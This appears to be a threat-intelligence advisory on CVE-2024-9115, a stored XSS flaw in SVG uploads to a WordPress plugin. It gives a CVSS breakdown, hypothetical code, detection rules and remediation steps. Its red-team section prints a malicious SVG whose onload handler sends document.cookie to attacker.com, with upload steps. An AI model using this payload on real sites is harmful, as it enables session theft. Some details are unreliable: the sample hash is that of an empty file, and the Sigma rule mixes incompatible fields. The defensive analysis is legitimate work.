CVE-2024-9115

Executive Summary

CVE-2024-9115 is a Stored Cross-Site Scripting (XSS) vulnerability in the Common Tools for Site WordPress plugin, affecting all versions up to and including 1.0.2. The vulnerability arises from insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level access or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) views the page containing the uploaded SVG, the injected script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS v3.1 base score is 6.4 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Author-level access (lowest privileged role that can upload media).
• User Interaction (UI): Required – The victim must visit the page containing the malicious SVG.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the widespread use of WordPress and the lack of a patch elevate the urgency for detection and mitigation.

Deep Dive & Mechanics

The vulnerability resides in the SVG file upload functionality of the Common Tools for Site plugin. WordPress core allows SVG uploads only for administrators by default, but this plugin extends that capability to lower-privileged users (Authors and above) without proper sanitization.

Root Cause: The plugin fails to sanitize SVG files during upload and does not escape output when rendering the SVG in the browser. An attacker can craft an SVG file containing embedded JavaScript, such as:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <rect width="100" height="100" fill="red"/>
</svg>

When the SVG is uploaded and later viewed (e.g., in a post, page, or media library), the onload event fires, executing the JavaScript in the victim's browser context.

Attack Flow:

1. Attacker logs in with Author-level credentials.
2. Attacker uploads a malicious SVG file via the media uploader.
3. The plugin stores the SVG without sanitization.
4. Victim (e.g., admin or visitor) accesses a page displaying the SVG.
5. The SVG's JavaScript executes, performing actions like stealing cookies, redirecting, or defacing the site.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0.2): The plugin likely uses a simple move_uploaded_file() or wp_handle_upload() without any SVG-specific sanitization. No filtering of <script> tags or event handlers is performed.

// Hypothetical vulnerable code in common-tools-for-site.php
function cts_handle_svg_upload($file) {
    // No sanitization of SVG content
    return wp_handle_upload($file, array('test_form' => false));
}

Patched Code (hypothetical): A patch would need to sanitize SVG files by stripping JavaScript and event handlers, or by converting SVGs to a safe format (e.g., rasterizing). The patch might use a library like enshrined/svg-sanitizer.

// Hypothetical patched code
function cts_handle_svg_upload($file) {
    require_once 'vendor/autoload.php';
    $sanitizer = new enshrined\svgSanitize\Sanitizer();
    $dirtySVG = file_get_contents($file['tmp_name']);
    $cleanSVG = $sanitizer->sanitize($dirtySVG);
    file_put_contents($file['tmp_name'], $cleanSVG);
    return wp_handle_upload($file, array('test_form' => false));
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Common Tools for Site plugin <= 1.0.2.
• Author-level account credentials.

Steps:

1. Craft a malicious SVG file:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
     <rect width="100" height="100" fill="blue"/>
   </svg>
   

2. Log in as Author and navigate to Media > Add New.
3. Upload the SVG file.
4. Obtain the URL of the uploaded SVG (e.g., https://target.com/wp-content/uploads/2024/10/malicious.svg).
5. Embed the SVG in a post or page, or send the direct link to a victim.
6. When the victim views the SVG, the JavaScript executes, sending cookies to the attacker's server.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for SVG uploads by non-admin users.
• Inspect SVG files for suspicious content (e.g., onload, onerror, <script> tags).
• Use WAF rules to block SVG uploads containing JavaScript.

Prevention:

• Disable SVG uploads for non-admin users until a patch is released.
• Use a security plugin that sanitizes SVG files (e.g., Wordfence, Sucuri).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• Network Traffic:
  • Outbound requests to attacker-controlled domains from the WordPress server.
  • HTTP POST requests containing document.cookie in the payload.
• File System:
  • SVG files in /wp-content/uploads/ containing <script> tags or event handlers.
• Logs:
  • WordPress audit logs showing SVG uploads by Author-level users.
  • Web server logs with GET requests to SVG files followed by unusual outbound connections.

Detection Engineering

YARA Rule

rule CVE_2024_9115_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-9115"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9115"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $onload = "onload" nocase
        $onerror = "onerror" nocase
        $script = "<script" nocase
    condition:
        $svg_header and $svg_tag and ($onload or $onerror or $script)
}

Sigma Rule

title: CVE-2024-9115 - Malicious SVG Upload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of SVG files containing JavaScript event handlers or script tags, indicative of CVE-2024-9115 exploitation.
author: Valters IT
date: 2024-10-27
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\wp-admin\async-upload.php'
        TargetFilename|endswith: '.svg'
    filter:
        TargetFilename|contains: 'wp-content/uploads'
    condition: selection and filter
falsepositives:
    - Legitimate SVG files with benign JavaScript (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9115 - Malicious SVG Upload"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:".svg"; fileext; pcre:"/(<script|onload|onerror)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads for non-admin users by adding the following to functions.php:

   add_filter('upload_mimes', 'disable_svg_upload');
   function disable_svg_upload($mimes) {
       unset($mimes['svg']);
       return $mimes;
   }
   

2. Use a security plugin (e.g., Wordfence) to block SVG uploads containing JavaScript.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

   Header set Content-Security-Policy "default-src 'self'; script-src 'none';"
   

Long-Term Fix:

• Apply the official patch when released by the plugin vendor.
• If no patch is forthcoming, consider replacing the plugin with an alternative that properly sanitizes SVG files.

Monitoring:

• Review file upload logs for suspicious SVG files.
• Scan existing SVG files in the media library for malicious content.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst